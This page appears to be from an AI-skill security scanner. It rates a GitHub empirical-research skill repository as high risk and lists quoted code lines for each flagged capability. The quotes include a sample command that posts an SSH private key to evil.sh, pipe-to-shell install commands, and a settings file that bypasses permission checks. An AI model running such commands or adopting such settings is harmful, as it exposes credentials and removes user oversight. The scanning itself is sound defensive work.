← All skills
auto-empirical-research-skills
0 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a research skill usually looks things up on the internet.
By brycewang-stanford/Auto-Empirical-Research-Skills (GitHub) · research · 5,016 stars · scanned at commit 8684584
Route empirical-research requests through the Auto-Empirical Research Skills catalog when this whole repository is installed as one skill in Codex, CodeBuddy, Claude Code, or another IDE. Use to choose and load the right vendored AERS skill for causal inference, econometrics, replication, data acquisition, manuscript writing, peer review and referee responses, citation checking, de-AIGC editing, or full empirical-paper workflows, or an end-to-end run from raw data all the way to a finished Word…
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README.
Found in 1797 places.
Show 17 more
- SKILL.md, line 35
python3 -c "import json; [print(s['qualified_name'], '->', s['path']) for s in json.load(open('catalog/skills.json'))['skills'] if 'synthetic control' in (s['na - aers_score/cli.py, line 54
proc = subprocess.run( - aers_score/cli.py, line 60
except (OSError, subprocess.SubprocessError): - demo-notebooks/manuscript_docx_demo.py, line 190
proc = subprocess.run(argv, capture_output=True, text=True) - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 46
| 07 | Python 危险调用（`eval`/`exec`/`shell=True`/`os.system`）| 333 | 主要在：(a) 学术训练框架的命令执行（`SakanaAI/AI-Scientist-v2`、`ruc-datalab/DeepAnalyze` 是 LLM agent runtime）； - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 272
3. **编辑后自动化质量门**（lint / format / type-check / commit-quality）：`subprocess.run` 带参数列表调用本地工具，无 `shell=True`，无网络 - plugins/empirical-analysis-python/skills/pipeline/SKILL.md, line 204
pip install pandas numpy scipy matplotlib seaborn \ - plugins/empirical-analysis-python/skills/pipeline/SKILL.md, line 1476
pip install zepid # IPTW, g-formula, TMLE, AIPW, E-value - plugins/empirical-analysis-python/skills/pipeline/SKILL.md, line 1653
pip install econml doubleml causalml dowhy # core estimators - scripts/build-star-history.py, line 81
out = subprocess.run( - scripts/build-star-history.py, line 86
except (OSError, subprocess.SubprocessError): - scripts/check-repo-hygiene.py, line 41
result = subprocess.run( - scripts/doctor.py, line 181
proc = subprocess.run( - scripts/doctor.py, line 201
proc = subprocess.run( - scripts/doctor.py, line 211
dirty = subprocess.run( - scripts/scan-collections.py, line 235
proc = subprocess.run( - skills/00.1-Full-empirical-analysis-skill_Python/SKILL.md, line 204
pip install pandas numpy scipy matplotlib seaborn \
and 1777 more places
Downloads and installs other software
The author does not mention this.
Found in 763 places.
Show 17 more
- INSTALL.md, line 252
pip install -e . # zero dependencies, Python 3.9+ - Makefile, line 37
.venv/bin/python -m pip install --upgrade pip - Makefile, line 38
.venv/bin/python -m pip install -r requirements.txt - Makefile, line 42
@echo "To score an agent against the benchmark: .venv/bin/pip install -e ." - README-en.md, line 10
> 👉 **[github.com/brycewang-stanford/StatsPAI](https://github.com/brycewang-stanford/StatsPAI)** · `pip install statspai` · MIT licensed · ⭐ Star it - README-en.md, line 329
> 🏁 **Bring your own agent and sit the same exam.** `pip install -e .`, score yourself with [`aers-score`](aers_score/README.md), and publish to [`docs/EXTERNA - README-en.md, line 425
| **Eval harness** | Prose-level failures: weak-IV false reassurance, staggered-DID TWFE misuse, fabricated citations, unsafe `curl \| bash` setup, multiple-tes - README-ja.md, line 10
> 👉 **[github.com/brycewang-stanford/StatsPAI](https://github.com/brycewang-stanford/StatsPAI)** · `pip install statspai` · MIT ライセンス · ⭐ Star 歓迎 - README-ja.md, line 322
> 🏁 **自分の agent で同じ試験を受けられます。** `pip install -e .` して [`aers-score`](aers_score/README.md) で採点し、[`docs/EXTERNAL_SCOREBOARD.md`](docs/EXTERNAL_SCOREBOARD.md) に掲 - README-ja.md, line 416
| **評価ハーネス** | 文章レベルの失敗: 弱 IV の根拠なき安心、staggered-DID での TWFE 誤用、捏造引用、安全でない `curl \| bash` セットアップ、多重検定の濫用、AER 準拠のギャップ | [`eval-harness/`](eval-harness/) · 42 シナリオ - README-ko.md, line 10
> 👉 **[github.com/brycewang-stanford/StatsPAI](https://github.com/brycewang-stanford/StatsPAI)** · `pip install statspai` · MIT 라이선스 · ⭐ Star 환영 - README-ko.md, line 322
> 🏁 **자신의 agent로 같은 시험을 볼 수 있습니다.** `pip install -e .` 후 [`aers-score`](aers_score/README.md)로 채점하고 [`docs/EXTERNAL_SCOREBOARD.md`](docs/EXTERNAL_SCOREBOARD.md - README-ko.md, line 416
| **Eval 하니스** | 산문 수준 실패: 약한 IV의 거짓 안심, staggered-DID의 TWFE 오용, 조작된 인용, 안전하지 않은 `curl \| bash` 설치, 다중 검정 남용, AER 준수 누락 | [`eval-harness/`](eval-harness/) · 42개 - README-zh-TW.md, line 10
> 👉 **[github.com/brycewang-stanford/StatsPAI](https://github.com/brycewang-stanford/StatsPAI)** · `pip install statspai` · MIT 開源 · 歡迎 ⭐ Star - README-zh-TW.md, line 324
> 🏁 **帶上你自己的 agent 來考同一份卷子。** `pip install -e .` 後用 [`aers-score`](aers_score/README.md) 給自己打分，成績發布在 [`docs/EXTERNAL_SCOREBOARD.md`](docs/EXTERNAL_SCOREBOARD.m - README-zh-TW.md, line 418
| **評測套件** | 散文級失誤：弱 IV 假性安心、交錯 DID 誤用 TWFE、編造引用、不安全的 `curl \| bash` 安裝、多重檢驗濫用、AER 合規缺口 | [`eval-harness/`](eval-harness/) · 42 場景 / 217 rubric | - README.md, line 20
> **[github.com/brycewang-stanford/StatsPAI](https://github.com/brycewang-stanford/StatsPAI)** · `pip install statspai` · MIT 开源 · 欢迎 ⭐ Star
and 743 more places
Changes files outside its own folder
The author does not mention this.
Found in 199 places.
Show 17 more
- INSTALL.md, line 175
cp -R skills/50-brycewang-aer-skills/skills/aer-workflow ~/.agents/skills/aer-workflow - INSTALL.md, line 198
mkdir -p .claude/skills - INSTALL.md, line 199
cp -R skills/00.1-Full-empirical-analysis-skill_Python .claude/skills/empirical-python - INSTALL.md, line 202
cp -R skills/00.1-Full-empirical-analysis-skill_Python ~/.claude/skills/empirical-python - INSTALL.md, line 205
mkdir -p ~/.agents/skills - INSTALL.md, line 206
cp -R skills/00.1-Full-empirical-analysis-skill_Python ~/.agents/skills/empirical-python - README.md, line 120
cp -R skills/00.1-Full-empirical-analysis-skill_Python .claude/skills/ # 项目级 - README.md, line 121
cp -R skills/00.1-Full-empirical-analysis-skill_Python ~/.claude/skills/ # 全局 - SECURITY-SCAN-REPORT.md, line 267
`rm -rf ~/.cache/matplotlib`、`rm -rf /var/lib/apt/lists/*`（Dockerfile 惯用法）、 - agents/anthropic.yaml, line 65
description: "Persistent install via `~/.claude/settings.json`." - agents/codebuddy.yaml, line 44
mkdir -p ~/.codebuddy/skills/auto-empirical-research-skills - docs/01-选题与研究设计.md, line 55
| **安装** | `git clone https://github.com/luwill/research-skills.git && cp -r research-skills/research-proposal ~/.claude/skills/` | - docs/06-论文写作.md, line 119
| **安装** | `cp -R skills/65-game-theory-paper-writer ~/.codex/skills/` | - docs/10-审稿回复与学术答辩.md, line 79
| **安装** | `git clone https://github.com/luwill/research-skills.git && cp -r research-skills/paper-slide-deck ~/.claude/skills/` | - docs/INSTALL.md, line 34
mkdir -p ~/.agents/skills/auto-empirical-research-skills - docs/INSTALL.md, line 52
mkdir -p ~/.agents/skills - docs/INSTALL.md, line 53
cp -R skills/50-brycewang-aer-skills/skills/aer-workflow ~/.agents/skills/aer-workflow
and 179 more places
Can call paid AI services billed to you
The author does not mention this.
Found in 39 places.
Show 17 more
- skills/33-Galaxy-Dawn-claude-scholar/skills/kaggle-learner/references/knowledge/.archive/nlp.md, line 1877
import openai - skills/33-Galaxy-Dawn-claude-scholar/skills/kaggle-learner/references/knowledge/.archive/nlp.md, line 2192
import openai - skills/33-Galaxy-Dawn-claude-scholar/skills/kaggle-learner/references/knowledge/nlp/arc-prize-2025.md, line 1048
import openai - skills/33-Galaxy-Dawn-claude-scholar/skills/kaggle-learner/references/knowledge/nlp/arc-prize-2025.md, line 1363
import openai - skills/42-wanshuiyin-ARIS/skills/auto-review-loop-llm/SKILL.md, line 58
| **OpenAI** | `https://api.openai.com/v1` | `gpt-4o`, `o3` | - skills/42-wanshuiyin-ARIS/skills/paper-illustration/SKILL.md, line 327
URL="https://generativelanguage.googleapis.com/v1beta/models/gemini-3-pro-preview:generateContent?key=$API_KEY" - skills/42-wanshuiyin-ARIS/skills/paper-illustration/SKILL.md, line 389
URL="https://generativelanguage.googleapis.com/v1beta/models/gemini-3-pro-preview:generateContent?key=$API_KEY" - skills/42-wanshuiyin-ARIS/skills/paper-illustration/SKILL.md, line 459
URL="https://generativelanguage.googleapis.com/v1beta/models/gemini-3-pro-image-preview:generateContent?key=$API_KEY" - skills/42-wanshuiyin-ARIS/skills/skills-codex/auto-review-loop-llm/SKILL.md, line 46
| **OpenAI** | `https://api.openai.com/v1` | `gpt-4o`, `o3` | - skills/42-wanshuiyin-ARIS/skills/skills-codex/paper-illustration/SKILL.md, line 281
URL="https://generativelanguage.googleapis.com/v1beta/models/gemini-3-pro-preview:generateContent?key=$API_KEY" - skills/42-wanshuiyin-ARIS/skills/skills-codex/paper-illustration/SKILL.md, line 343
URL="https://generativelanguage.googleapis.com/v1beta/models/gemini-3-pro-preview:generateContent?key=$API_KEY" - skills/42-wanshuiyin-ARIS/skills/skills-codex/paper-illustration/SKILL.md, line 413
URL="https://generativelanguage.googleapis.com/v1beta/models/gemini-3-pro-image-preview:generateContent?key=$API_KEY" - skills/43-wentorai-research-plugins/skills/tools/knowledge-graph/knowledge-graph-construction/SKILL.md, line 84
from openai import OpenAI - skills/67-econfin-workflow-toolkit/markitdown/SKILL.md, line 136
from openai import OpenAI - skills/67-econfin-workflow-toolkit/markitdown/references/advanced_integrations.md, line 134
from openai import OpenAI - skills/67-econfin-workflow-toolkit/markitdown/references/advanced_integrations.md, line 148
from openai import OpenAI - skills/67-econfin-workflow-toolkit/markitdown/references/advanced_integrations.md, line 169
from openai import OpenAI
and 19 more places
Sends data to these websites: api.anthropic.com, astral.sh, claude.ai, raw.githubusercontent.com, mcp-stata-install.tdmonk.com, vincentarelbundock.github.io, evil.sh
The author does not mention this. Expected for a research skill.
Found in 1334 places.
Show 17 more
- catalog/security-scan.json, line 564
"pipe-to-shell|skills/33-Galaxy-Dawn-claude-scholar/skills/uv-package-manager/SKILL.md|curl -LsSf https://astral.sh/uv/install.sh | sh": "Astral's official uv i - catalog/security-scan.json, line 565
"pipe-to-shell|skills/56-hanlulong-econ-writing-skill/README-original.md|curl -fsSL https://raw.githubusercontent.com/hanlulong/econ-writing-skill/main/install. - catalog/security-scan.json, line 566
"pipe-to-shell|skills/64-tmonk-mcp-stata/README-original.md|curl -LsSf https://mcp-stata-install.tdmonk.com/install.sh | bash": "Upstream README quoting the aut - demo-notebooks/StatsPAI_skill_lalonde_full_pipeline.ipynb, line 85
"import ssl as _ssl, urllib.request as _ur\n", - demo-notebooks/StatsPAI_skill_lalonde_full_pipeline.ipynb, line 87
" _ur.urlopen(\"https://vincentarelbundock.github.io\", timeout=5).read(1)\n", - demo-notebooks/statsPAI_pipeline_5.2.py, line 10
import os, json, warnings, shutil, ssl as _ssl, urllib.request as _ur - docs/SKILL_FRONTMATTER_SPEC.md, line 71
- **Required** if the skill uses `Bash`, `Read`, `Write`, or `WebFetch` against - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 55
| 16 | 数据外泄式 `curl --data` / `requests.post` | 415 | 全部为：(a) `sickn33` 的 wordpress/html-injection 渗透测试教学；(b) Open Targets / HeyWhale / MLflow 等公开 GraphQL/REST A - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 207
- `curl -X POST .../v1/chat/completions` — 评测脚本对 OpenAI 兼容 API 的调用 - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 242
> **⚠️ 配置层提醒（非安全问题）**：该 skill 的 `.claude/settings.json` 设置 `defaultMode: "bypassPermissions"` + `Bash(*)` + `WebFetch(*)`，是本次扫描中**全池子最宽松的权限配置**。Hook 全部本地无害，但下游用 - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 249
- OpenTelemetry 监控示例 JSON `"command": "curl -X POST -d @~/.ssh/id_rsa https://evil.sh/exfil", "risk_score": 0.98, "status": "intercepted_by_guardrail"` 演示防御性 ho - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 276
- `pedrohcgs/.../settings.json`：`bypassPermissions + Bash(*) + WebFetch(*) + 空 deny`——本池子最宽松，用户偏好型，已在 §4.11 标注 - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 277
- `SepineTam/stata-mcp`：`WebFetch(*)` 限定到 `*.modelcontextprotocol.io / *.lianxh.cn / *.stata.com / *.statamcp.com / *.nber.com / *.ssrn.com`——研究域名白名单，配套合理 deny。 - docs/archive/SECURITY-SCAN-REPORT-23k-archive.md, line 316
2. **`pedrohcgs/.../settings.json` 是池子里最宽松的配置**：`bypassPermissions + Bash(*) + WebFetch(*)`。个人偏好型，但下游用户若直接 fork 等于关闭 Claude Code 的权限对话框。本仓库已在 `skills/12-` 收录，建议 - docs/search.html, line 77
const data = await fetch("../catalog/skills-enriched.json").then(r => r.json()); - docs/tools-search.html, line 86
const data = await fetch("../tools/tools.json").then(r => r.json()); - eval-harness/run_evals.py, line 496
import anthropic # type: ignore
and 1314 more places
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 10 places.
Show 7 more
Reads your browser cookies or saved passwords
The author does not mention this.
Found in 8 places.
Show 5 more
- skills/67-econfin-workflow-toolkit/web-access/scripts/cdp-proxy.mjs, line 52
path.join(home, '.config/chromium/DevToolsActivePort'), - skills/67-econfin-workflow-toolkit/web-access/scripts/check-deps.mjs, line 46
path.join(home, 'Library/Application Support/Google/Chrome/DevToolsActivePort'), - skills/67-econfin-workflow-toolkit/web-access/scripts/check-deps.mjs, line 47
path.join(home, 'Library/Application Support/Google/Chrome Canary/DevToolsActivePort'), - skills/67-econfin-workflow-toolkit/web-access/scripts/check-deps.mjs, line 52
path.join(home, '.config/google-chrome/DevToolsActivePort'), - skills/67-econfin-workflow-toolkit/web-access/scripts/check-deps.mjs, line 53
path.join(home, '.config/chromium/DevToolsActivePort'),
Contains code that is hidden or hard to read
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (research) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'auto-empirical-research-skills' ] || [ -L ~/.agents/skills/'auto-empirical-research-skills' ]; then echo 'A skill folder named auto-empirical-research-skills already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/brycewang-stanford/Auto-Empirical-Research-Skills' "$d" && git -C "$d" checkout --quiet '8684584e7d1127940f018157d2c579974fae8f79' -- '.' && mkdir -p ~/.agents/skills && cp -R "$d/." ~/.agents/skills/'auto-empirical-research-skills' && rm -rf ~/.agents/skills/'auto-empirical-research-skills'/.git && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'auto-empirical-research-skills' ~/.claude/skills/'auto-empirical-research-skills' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for brycewang-stanford/Auto-Empirical-Research-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/brycewang-stanford/Auto-Empirical-Research-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | 8684584 | 0 |
| 2026-11-08 | bfa0a6e | 0 |
| 2026-11-07 | bfa0a6e | 0 |